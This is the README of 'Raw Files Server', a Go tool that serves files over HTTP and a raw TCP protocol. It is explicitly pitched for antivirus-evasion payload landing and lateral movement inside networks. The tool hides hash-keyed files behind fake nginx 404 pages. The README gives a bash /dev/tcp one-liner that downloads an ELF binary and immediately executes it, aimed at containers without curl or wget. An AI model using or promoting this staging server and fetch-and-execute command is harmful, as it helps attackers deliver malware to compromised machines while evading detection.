Raw Files Server
(简称 RFS)是一个支持 HTTP/自定义TCP 协议双栈的文件分发服务端,适用于内网文件分发、免杀落地等场景。
- 支持 HTTP 下载(浏览器、curl、wget、Postman等均可)
- 支持原始TCP自定义协议(如 echo RAWxxxx >&3; cat <&3),适用于容器等无curl/wget环境下的文件拉取
- 文件hash映射支持自动生成或白名单模式
- 兼容 nginx 404 页面风格
go build -o RFS RFS.go
go run RFS.go file <监听地址> <文件目录> <自动hash映射开关>
# 或
./RFS file <监听地址> <文件目录> <自动hash映射开关>
<监听地址>
例如:8080
或0.0.0.0:443
,默认0.0.0.0:443
<文件目录>
例如./files
,默认./files
<自动hash映射开关>
1=自动hash映射并自动生成filemaps.json,0=只用filemaps.json白名单,默认0
示例:
./RFS file :8080 ./files 1 # 自动hash映射,hash随机32位,自动生成filemaps.json
./RFS file :8080 ./files 0 # 只用filemaps.json白名单
- 位置:程序根目录
- 格式:
{"hash1":"filename1", "hash2":"filename2"}
- 自动hash映射模式下,每次启动会自动生成新的随机hash并覆盖filemaps.json
- 白名单模式下,需手动编辑filemaps.json,只有配置的hash可访问
- 访问
http://<host>:<port>/<hash>
即可下载对应文件,下载文件名为hash - 未命中hash或文件不存在,返回标准nginx 404页面
示例:
curl http://127.0.0.1:8080/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
- 直接用TCP连接,发送
RAW<hash>\n
,服务端返回对应文件内容 - 适用于容器、极简Linux等无curl/wget环境,只需bash自带的/dev/tcp即可拉取文件
- 适合免杀落地、内网横向等场景
示例:
exec 3<>/dev/tcp/127.0.0.1/8080; echo RAWxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx >&3; cat <&3 > self.elf && ./self.elf
- 生产环境建议用白名单模式(自动hash映射开关=0),只允许明确授权的hash→文件名
- 自动hash映射模式下,目录下所有文件都会被暴露,hash为随机32位
- filemaps.json请妥善保存,避免泄漏hash
- 建议服务端运行权限受限,避免目录下有敏感文件
- 支持多并发连接
- 兼容curl、wget、浏览器、原始TCP等多种客户端
- 404页面风格与nginx一致
如有问题或定制需求请联系作者。